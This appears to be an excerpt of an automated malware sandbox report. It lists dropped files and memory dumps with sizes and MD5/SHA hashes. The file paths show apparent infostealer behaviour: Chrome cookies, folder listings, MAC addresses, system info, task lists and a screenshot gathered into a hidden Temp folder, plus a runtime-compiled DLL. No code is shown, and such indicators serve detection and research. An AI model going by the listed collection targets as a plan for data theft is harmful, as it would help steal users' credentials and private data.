d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\whmonbah\whmonbah.dll

Filesize
4KB

MD5
eb729a7edad16402e129df5c1ac4f204

SHA1
a4ef8412705a8ba60cfecbbb640543c9958cacc5

SHA256
ab5ffc8bc1c90aa8118640fe3309c1aaf5a9938f8d844e3b150105e9c8cd4297

SHA512
54087df21921eb6d992f992c4c4016569ea19d7a4f5832d643c125f8190f496712626fb931730df2ff097eac928f91d03afe3aae7fc5b88c4d7b7b9f40918c12

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‍ \Credentials\Chrome\Chrome Cookies.txt

Filesize
258B

MD5
465376f6428725c54f6413ed9e02b302

SHA1
e38435ed285e4fdbe7490092474980d43dac7f93

SHA256
2df17fc9930fb3ad24cf426dc875d29f92b74a9ce24f4b54fd12d9575ae46b85

SHA512
099851e516265e061641525a5d105b433123cb423ff3050df12350849c0861e2f9f67e55c3ce487939a16c3c9a847ff8bf4b5689ddd615f49115d3ed5f773ceb

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‍ \Directories\Desktop.txt

Filesize
749B

MD5
8f72e8bda756c08daf88d97ace44903a

SHA1
b0ccf7c754d2bb012777457e515abbe32e73479c

SHA256
1d2a46c2332841250f53c2d448380cfb43c8fd14846c111ab155fd93b03b2f89

SHA512
435f970a9acae2cc4512398cae49ecec234bc5069329aba0bcd43438055579826e8a1f2df09ba31fc2c9a9fef90dc94ac740783f5315d741a22f8bc20d3b6455

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‍ \Directories\Documents.txt

Filesize
795B

MD5
7bc68b561bfec3e05c2f4bf5283d85ba

SHA1
ee6a948cf1a348a169d8cc658a2f19bc363e7e47

SHA256
8676c9b8f15be6648208f9b21ca2f0cfec7ff568194a2ea418d9e21f6ad1949f

SHA512
2c0f87def179a333923b9cbf2450b41e4066ce265e752ed6ee001543157f60ac53db4b8959c89679f38be7e3c5ae48cd0423594c16f28a87aeda92dce1519978

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‍ \Directories\Downloads.txt

Filesize
879B

MD5
7de40efee8b4db26360c387d4421feed

SHA1
03eb7f7377e6ee99f8960618af0724ef654bd5b4

SHA256
16bc86a17cc49bb5d0b907bf9ba9a09e55791b334e185d7cc1541d50f36ea1e7

SHA512
2b5205cfab77b8cf1036533f1a195eb001d7fedf143da15b4e493b8aa07c6cd6e562411134a1b6c85cd50cfba7eaa123ec189328dc74c3b7a200ff1840c6621a

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‍ \Directories\Music.txt

Filesize
421B

MD5
46c7ad974a74e776f3d9dbea7b83700b

SHA1
a2b6116faca559d93ae4a2f191ab2f88a502e541

SHA256
554d546fcfa00d14423e324599eae697451cfaff13c30fae13307fd54bc605b3

SHA512
68b5e71063d62e516e6b78b67582db4e6bab1e0a602aa68e3949ddcce79fc0284abfb62e7034f23bdf0db0de5f4428e4a9fc8c4d591201eb5f98e633c7495180

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‍ \Directories\Pictures.txt

Filesize
649B

MD5
75a64184304377cd299fc1f2e9a4ae74

SHA1
3b71712a7da527dceb8f1f848eb3b1614e101ec8

SHA256
442d00676b00a6a9e012d18da48a69176b51be627db65ba29e504707a999de52

SHA512
6300b01d249955d742a5e0e0cfa5ad351a307a07e88147d97b7da20d12677fb34130be107b37dbb4ba462bfddd311c954e2286559099b2e46854d9c925fc5d85

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‍ \Directories\Videos.txt

Filesize
30B

MD5
e140e10b2b43ba6f978bee0aa90afaf7

SHA1
bbbeb7097ffa9c2daa3206b3f212d3614749c620

SHA256
c3a706e5567ca4eb3e18543296fa17e511c7bb6bef51e63bf9344a59bf67e618

SHA512
df5b92757bf9200d0945afda94204b358b9f78c84fbaeb15bdf80eae953a7228f1c19fdf53ed54669562b8f0137623ea6cee38f38ef23a6f06de1673ff05733f

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‍ \Display (1).png

Filesize
432KB

MD5
1c490e0d95e82264c5737dff68051dc8

SHA1
36e115f919703f3a15528983de3d0f321e2d31dd

SHA256
58aa04f3edb05e6acaef4b5a9537a8334ad21a8a76358eb24b62e5e30e58854f

SHA512
8e30bc50fd87c07ec99563b34bf6e7cc120730d6962fe782693d0baacd508ab39ecb632a03457805f6e7ae20abdb9f6e19fda94b5c521fb900d3654d6c4cf2ed

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‍ \System\MAC Addresses.txt

Filesize
232B

MD5
7797f9c0c725c40db83c15ad87335b3c

SHA1
229d1ad3d545cd34a52ef825d7c705a52ba5b660

SHA256
fec1c36060e5bacb6e35aa724d4d902df752dc2d8e9780cec4a19b6595cd86df

SHA512
3b6c146b6479c83e84e2712538af24edd7c3fc523a7ee21d141a816f93ea00ab588d7d6a3e2956bcca608b3dd94b38c85f90169cb233decd43db61486b32d2e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‍ \System\System Info.txt

Filesize
2KB

MD5
63b427babd536e6ae34f87097ade4269

SHA1
fc310b7c6842eec3e5b835204954da3fa5479892

SHA256
0b28d2044308fbea8d8e1f080bbe57afe0849dd336347ad536c4e9f4a5c69b39

SHA512
2d3005f3e8210874dc27f4ca575c8630757845d5520e13fb8c091c0f82a69ac6570d7df25dff8587dcd518c8238a22fcb7cd17888878fe28be33372b799db2bd

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‍ \System\Task List.txt

Filesize
12KB

MD5
d651f270483192d769edac353efdd389

SHA1
659f135d595797b60d3ecc7324a56ccc74ce0014

SHA256
92f5df0c8c4d996fc97c7646a805e0e64098f730ede9d6f240df54f3820b5a87

SHA512
2a6b940a90048f72b3e1b2a57b653b921e21d5c876c62795932d75fe554c0a2d14bf23119c5ac50c31d899d21b324c8c037e10784ed8990fa0d2e5f7913a31cf

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\whmonbah\CSC1A2EEAF3C82840A0A022EAC84058492E.TMP

Filesize
652B

MD5
4f440ec683ea0e3bcc3bfbab35613d79

SHA1
6fda6eca8a4b24787e61387a2a0d262744526550

SHA256
4d7ed9b4c628d5d85a2a6377424d7194e2eb7dd411c791ce44d7d979a8b344e0

SHA512
afed85e6dc406e7cbfc51cd0f57e032358655c5e7f6a9c415a81cbb1ba10398d69847ab3634f0ea3227239b488d3f4c326e5a79e228388d3e5614138602f756a

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\whmonbah\whmonbah.0.cs

Filesize
1004B

MD5
c76055a0388b713a1eabe16130684dc3

SHA1
ee11e84cf41d8a43340f7102e17660072906c402

SHA256
8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

SHA512
22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\whmonbah\whmonbah.cmdline

Filesize
607B

MD5
ff468819468fcaa61f6b37294ffc7ccf

SHA1
d90886ac8b57fbae34630fe67549b698a5a14faa

SHA256
e8a5435385a598f17113099fc96e0bc410d82bfcab5be2d05f997b4f3fc25510

SHA512
3ef29df283f371d466c6dedbf28ab6c9eeb05345262521050925265bf9cbdde619b6c04af2bb2da483f8dba9cb45bf035aa2ceaebf9d4d7c2e24eae8b02438c9

Download Submit
memory/116-90-0x000001FFC0D30000-0x000001FFC0D52000-memory.dmp

Filesize
136KB

Download
memory/376-152-0x000001AA9DCF0000-0x000001AA9DCF8000-memory.dmp

Filesize
32KB

Download
memory/1304-54-0x00007FF8F7DC0000-0x00007FF8F7DED000-memory.dmp

Filesize
180KB

Download
memory/1304-80-0x00007FF8E83D0000-0x00007FF8E84EA000-memory.dmp

Filesize
1.1MB

Download
memory/1304-78-0x00007FF8FB770000-0x00007FF8FB77D000-memory.dmp

Filesize
52KB

Download
memory/1304-31-0x00007FF8FC780000-0x00007FF8FC7A5000-memory.dmp

Filesize
148KB

Download
memory/1304-75-0x00007FF8FB7C0000-0x00007FF8FB7D4000-memory.dmp

Filesize
80KB

Download
memory/1304-205-0x00007FF8E7FF0000-0x00007FF8E816F000-memory.dmp

Filesize
1.5MB

Download
memory/1304-68-0x00007FF8E8780000-0x00007FF8E8E45000-memory.dmp

Filesize
6.8MB

Download
memory/1304-286-0x00007FF8E79E0000-0x00007FF8E7F13000-memory.dmp

Filesize
5.2MB

Download
memory/1304-70-0x00007FF8E7F20000-0x00007FF8E7FEE000-memory.dmp

Filesize
824KB

Download
memory/1304-222-0x00007FF8E7F20000-0x00007FF8E7FEE000-memory.dmp

Filesize
824KB

Download
memory/1304-138-0x00007FF8F78D0000-0x00007FF8F78F4000-memory.dmp

Filesize
144KB

Download
memory/1304-232-0x00007FF8E79E0000-0x00007FF8E7F13000-memory.dmp

Filesize
5.2MB

Download
memory/1304-32-0x00007FF8FDC40000-0x00007FF8FDC4F000-memory.dmp

Filesize
60KB

Download
memory/1304-72-0x00007FF8E79E0000-0x00007FF8E7F13000-memory.dmp

Filesize
5.2MB

Download
memory/1304-71-0x0000021B57690000-0x0000021B57BC3000-memory.dmp

Filesize
5.2MB

Download
memory/1304-69-0x00007FF8FBA50000-0x00007FF8FBA5D000-memory.dmp

Filesize
52KB

Download
memory/1304-62-0x00007FF8F78B0000-0x00007FF8F78C9000-memory.dmp

Filesize
100KB

Download
memory/1304-59-0x00007FF8F78D0000-0x00007FF8F78F4000-memory.dmp

Filesize
144KB

Download
memory/1304-60-0x00007FF8E7FF0000-0x00007FF8E816F000-memory.dmp

Filesize
1.5MB

Download
memory/1304-56-0x00007FF8F8080000-0x00007FF8F809A000-memory.dmp

Filesize
104KB

Download
memory/1304-225-0x0000021B57690000-0x0000021B57BC3000-memory.dmp

Filesize
5.2MB

Download
memory/1304-77-0x00007FF8FC780000-0x00007FF8FC7A5000-memory.dmp

Filesize
148KB

Download
memory/1304-73-0x00007FF8F7370000-0x00007FF8F73A3000-memory.dmp

Filesize
204KB

Download
memory/1304-238-0x00007FF8F7370000-0x00007FF8F73A3000-memory.dmp

Filesize
204KB

Download
memory/1304-25-0x00007FF8E8780000-0x00007FF8E8E45000-memory.dmp

Filesize
6.8MB

Download
memory/1304-261-0x00007FF8FC780000-0x00007FF8FC7A5000-memory.dmp

Filesize
148KB

Download
memory/1304-260-0x00007FF8E8780000-0x00007FF8E8E45000-memory.dmp

Filesize
6.8MB

Download
memory/1304-266-0x00007FF8E7FF0000-0x00007FF8E816F000-memory.dmp

Filesize
1.5MB

Download
memory/1304-291-0x00007FF8FC780000-0x00007FF8FC7A5000-memory.dmp

Filesize
148KB

Download
memory/1304-299-0x00007FF8E7F20000-0x00007FF8E7FEE000-memory.dmp

Filesize
824KB

Download
memory/1304-300-0x0000021B57690000-0x0000021B57BC3000-memory.dmp

Filesize
5.2MB

Download
memory/1304-298-0x00007FF8FBA50000-0x00007FF8FBA5D000-memory.dmp

Filesize
52KB

Download
memory/1304-297-0x00007FF8F78B0000-0x00007FF8F78C9000-memory.dmp

Filesize
100KB

Download
memory/1304-296-0x00007FF8F7370000-0x00007FF8F73A3000-memory.dmp

Filesize
204KB

Download
memory/1304-295-0x00007FF8F78D0000-0x00007FF8F78F4000-memory.dmp

Filesize
144KB

Download
memory/1304-294-0x00007FF8F8080000-0x00007FF8F809A000-memory.dmp

Filesize
104KB

Download
memory/1304-293-0x00007FF8F7DC0000-0x00007FF8F7DED000-memory.dmp

Filesize
180KB

Download
memory/1304-292-0x00007FF8E7FF0000-0x00007FF8E816F000-memory.dmp

Filesize
1.5MB

Download
memory/1304-289-0x00007FF8E83D0000-0x00007FF8E84EA000-memory.dmp

Filesize
1.1MB

Download
memory/1304-288-0x00007FF8FB770000-0x00007FF8FB77D000-memory.dmp

Filesize
52KB

Download
memory/1304-275-0x00007FF8E8780000-0x00007FF8E8E45000-memory.dmp

Filesize
6.8MB

Download
memory/1304-290-0x00007FF8FDC40000-0x00007FF8FDC4F000-memory.dmp

Filesize
60KB

Download
memory/1304-287-0x00007FF8FB7C0000-0x00007FF8FB7D4000-memory.dmp

Filesize
80KB

Download
memory/1596-218-0x00000257F8AE0000-0x00000257F8CFC000-memory.dmp

Filesize
2.1MB

Download